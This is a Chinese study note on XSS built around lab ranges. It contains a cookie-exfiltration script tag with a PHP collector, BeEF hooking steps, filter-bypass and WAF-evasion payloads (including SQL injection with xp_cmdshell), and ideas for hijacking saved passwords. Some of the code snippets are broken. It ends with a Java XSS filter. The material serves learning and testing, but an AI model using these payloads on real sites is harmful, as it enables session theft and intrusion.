XSS漏洞学习笔记

XSS漏洞学习笔记_第1张图片
1.危害利用:

1、钓鱼欺骗
2、网站挂马
3、身份盗用
4、盗取网站用户信息
5、垃圾信息发送
6、劫持用户Web行为
7、XSS蠕虫

2.概述:
存储型(比如日志,评论等地方):
XSS漏洞学习笔记_第2张图片
反射型(url上):
XSS漏洞学习笔记_第3张图片
DOM型:
在这里插入图片描述
3.案例/分类(pikachu靶场):
XSS漏洞学习笔记_第4张图片
1)反射型(get型):
XSS漏洞学习笔记_第5张图片
2)存储型:
XSS漏洞学习笔记_第6张图片
3)DOM型:

其实本质属于反射型, DOM是属于用js代码进行处理(可直接通过查看代码进行判断是否属于DOM型)前者是属于后端语言进行数据处理的。我们先看一下html的dom代码:
XSS漏洞学习笔记_第7张图片
DOM型是通过前段静态代码来实现的也就前端进行注入,传输给js代码而非php代码:
XSS漏洞学习笔记_第8张图片
XSS漏洞学习笔记_第9张图片
XSS漏洞学习笔记_第10张图片
因此我们可以在只审计前端代码时就看出dom型xss,把本质是反射型为非存储型,可以fuzz测试。

存在位置:留言板,填写信息处(订单/提交调查问卷),可以提交个xss过去获取到查看者的cookie!

5.最好自己搭建xss平台,别人的总归是存在别人服务器上,不安全。
自己搭建xss平台
搭建个人xss平台

6.cookie与session:
XSS漏洞学习笔记_第11张图片
在这里插入图片描述
多层限制条件导致获取到管理员cookie很麻烦,实战中用得少,反射型不如存储型有价值。

安全性

我们盗取的cookie中若没有session,是无法登录后台的,因为cookie存储在本地,我们可以盗取,而session存储在服务器上,我们无法获取!所以说比较安全你的网站都用session存储。想要获取需要有一些辅助条件,比如xss跳转到phpinfo界面,并且返回给我们源代码:
XSS漏洞学习笔记_第12张图片

除了利用xss平台配合postman方法外,还可以自己写串代码,document.cookie得到管理员cookie传给指定地址:

<script src="http://127.0.0.1/jieshu.php?c=" + document.cookie></script>

此js代码在后台人员点击后会执行js语句,将自己的cookie发给指定ip的jieshou.php文件并赋给c变量,我们可以在指定ip上创建一个jieshou.php文件:


$_cookie=['c'];
$myfile=fopen("cookie.txt","w");
fwrite($myfile,$cookie);
fclose($myfile);
?>

然后可以在服务器上看见得到的cookie.txt,之后写个请求脚本访问,经典的钓鱼方法。

shell箱子反杀:
简而言之就是“黑吃黑”,在别人的webshell中写入自己的webshell,以达到写入后门的效果:

后门可以在github中找,所以千万不要轻易相信别人共享的后门软件,基本都是后门中存在着他自己的后门,“黑吃黑”(由于是asp文件,自己asp环境没搭建好,在此不做演示)。
XSS漏洞学习笔记_第13张图片

beef-xss工具:

这个工具比在线xss平台厉害多了,而且还是自己的,安全,只是xss平台更简单易上手。

本地都是在内网里,倘若在实战中得将beef工具目录公布到外网上或端口转发,才能让别人访问,是在自己两台虚拟机间互相搞的:

XSS漏洞学习笔记_第14张图片
在提交页面提交上我们构造的xss语句,打开后台后触发xss:
XSS漏洞学习笔记_第15张图片
可以在beef后台看到:
XSS漏洞学习笔记_第16张图片
然后就能利用这个工具的强大功能各种玩了,功能是真的很强大。

比如实现目标页面的跳转:

XSS漏洞学习笔记_第17张图片
在kali中执行后,目标页面就会在触发xss后直接跳转到自己指定的页面:

同理我们可以获取cookie乃至自己开发更多新姿势。

10.xss盲打:

就是在各种地方(留言板/评论区/订单条件等等地方)都试试,fuzzing一下,测试哪个地方有可能xss,在pikachu靶场:

httponly绕过:

如果HTTP响应头中包含HttpOnly标志,只要浏览器支持HttpOnly标志,客户端脚本(js)就无法访问cookie。因此,即使存在跨站点脚本(XSS)缺陷,且用户意外访问利用此漏洞的链接,浏览器也不会向第三方透露cookie。如果浏览器不支持HttpOnly并且网站尝试设置HttpOnlycookie,浏览器会忽略HttpOnly标志,从而创建一个传统的,脚本可访问的cookie。将cookie设置成HttpOnly是为了防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。

XSS漏洞学习笔记_第18张图片
其他语言实现httponly。

XSS漏洞学习笔记_第19张图片

当无法截取到cookie时,我们怎么登录后台界面呢?当然是最简单的账号密码登录呀!

我们知道有些浏览器会自动保存我们输入的账号密码,因此i我们可以构造xss获取到管理员输入浏览器的账号密码来登录,费什么劲非要获取cookie呀,不过和个方法也很明显,先不说ssl加密后密文我们很难读懂,而且我们还得确保管理员在登陆界面输入密码过程时我们可以截取到数据包,表单劫持;或者直接读取浏览器保存的明文密码,此时我们还要知道提交表单的id值。这两种方法都可以在xss平台找到:

XSS漏洞学习笔记_第20张图片

xss靶场(反射型):

练习代码层面的绕过黑名单等等,此处都是反射性xss,但我们学的是绕过思路,我们只用alert(1)做演示,毕竟只要实现了alert函数,就证明存在xss,别的攻击方式自然也可以,而且此靶场也只会检测到alert弹窗后才会下一关:


 1. Less-1:URL处直接get传参为:<script>alert(1)</script>.
 2. Less-2:虽然输出处 htmlspecialchars($str)函数将输入html实例化(看源代码是要右键以以html查看),但由于下面又有表单会显示我们get传递的参数值,因此可以利用闭合此表单达到xss。url处或表单处get传参为:"/><script>alert(1)</script>.
 3. Less-3:不光过滤了双引号还有尖括号,此时我们可以利用表单的onclick属性: 'οnclick='alert(1) 或者' οnmοuseοver='javascript:alert(1) 都可以通关,只要闭合掉前面value的引号即可。//不过onclick是html属性,那第一种方法应该不算xss了吧?求知道的大佬解惑
 4. Less-4: payload相同,注意闭合。
 5. Less-5:将on替换为o_n,此时就不能采用onclick属性了,可以借助a标签的href属性来链接到xss:">:alert(1)
 6. Less-6:过滤了很多,大小写绕过,此处不是正则而是单纯的过滤:"><a HREF='JavaScript:alert(1)'>
 7. Less-7:双写绕过:">:alert(1)">
 8. Less-8:unicode编码绕过,&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;会自动解码为JavaScript:alert(1)9. Less-9:这关验证输入值是否有http://而且我们还得注释掉它:&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://
 10. Less-10:表单被隐藏了,审计源码t_sort处可以注入,既可以在前端将hidden值移除来显示表单,也可以插入type="text"来替换:t_sort=" type="text" οnclick="alert('xss')
 11. Less-11:双引号被编码无法闭合,而且源码$_SERVER['HTTP_REFERER']头会检测来源,然后赋值给ref变量,因此可以抓包插入请求头:referer:" type="text" οnclick="alert('1')"
 12. 之后关卡也只是各种绕过,可以自己测试。

Less-5:
XSS漏洞学习笔记_第21张图片

XSS漏洞学习笔记_第22张图片

Less-11:
XSS漏洞学习笔记_第23张图片

xss常常配合csrf或ssrf使用:
XSS漏洞学习笔记_第24张图片

14.绕过waf:

我们再部署上waf之后再做xss靶场,第一关的payload会被安全狗过滤拦截掉,我们要先想办法绕过waf后在绕过网页后端代码的过滤。

对于waf,我们可以先搭建到本地,经过不断测试来总结出被拦截的地方(手工)。比如less-1我们输入的script会被waf防护掉了,但尖括号<却可以使用,但右尖括号不能用,我们可以用单引号或垃圾数据填充后写上右尖括号闭合来绕过waf,这就是不断测试的过程,而且不同waf软件的拦截规则也不一样。安全狗还是比较好绕过的

15.WAF知识:

WAF分类

  1. 云waf在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。

  2. 主机防护软件在主机上预先安装了这种防护软件,可用于扫描和保护主机,和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,mod_security、ngx-lua-waf这类开源waf虽然看起来不错,但是有个弱点就是升级的成本会高一些。

  3. 硬件ips/ids防护、硬件waf使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。

WAF身份认证阶段的绕过

  1. 伪造搜索引擎:早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击,这里推荐一个谷歌插件,可以修改User-Agent,叫User-Agent Switcher。
  2. 伪造白名单特殊目录:360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截,比如GET /pen/news.php?id=1 union select user,password from mysql.user可以改为GET /pen/news.php/admin?id=1 union select user,password from mysql.user或者GET /pen/admin/…\news.php?id=1 union select user,password from mysql.user
  3. 直接攻击源站:这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过。

WAF数据包解析阶段的绕过

  1. 编码绕过最常见的方法之一,比如:urlencode。
  2. 修改请求方式绕过大家都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。还有就是参数污染,典型例子就是multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。
  3. 复参数绕过例如一个请求是这样的GET /pen/news.php?id=1 union select user,password from MySQL.user可以修改为GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user很多WAF都可以这样绕。

WAF触发规则的绕过

  1. 特殊字符替换空格用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格。
  2. 特殊字符拼接把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接,例如GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)可以改为GET /pen/news.php?id=1; exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)
  3. 注释包含关键字在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。例如,GET /pen/news.php?id=1 union select user,password from mysql.user可以改为GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user

16.常规 WAF 绕过思路

标签语法替换
特殊符号干扰
提交方式更改
垃圾数据溢出
加密解密算法
结合其他漏洞绕过

绕过waf篇幅太长,以后单写一篇细讲。

详细参考:xss绕过waf
绕过xss检测机制

17.绕过waf工具:

xsstrike、xwaf(注入时用)

xsstrike这款工具甚至可以实时检测是否过了waf,很强:
XSS漏洞学习笔记_第25张图片

18.fuzzing:

xss的话,fuzzing可以借助这个在线网站也可以利用字典。

而且跑fuzz时请求量过多ip会被拦截,原因是waf开启了cc流量防护机制:
XSS漏洞学习笔记_第26张图片
解决方法就是:
1.模拟别人的waf本地搭建,本地自然不会拦截,哪个成功用哪个。
2.代理(代理池,比较复杂)。

19.安全修复方案:

方法有:开启 httponly、输入过滤、输出过滤等

JAVA : https://www.cnblogs.com/baixiansheng/p/9001522.html

java xss项目:https://gitee.com/yhtmxl/imxss/

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

/*
 *配置XSS过滤器
 */
public class XSSFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
        throws IOException, ServletException {
        chain.doFilter(new XSSRequestWrapper((HttpServletRequest) request), response);
    }
    @Override
    public void destroy() {
    }
}

你可能感兴趣的:(Web安全,xss,安全)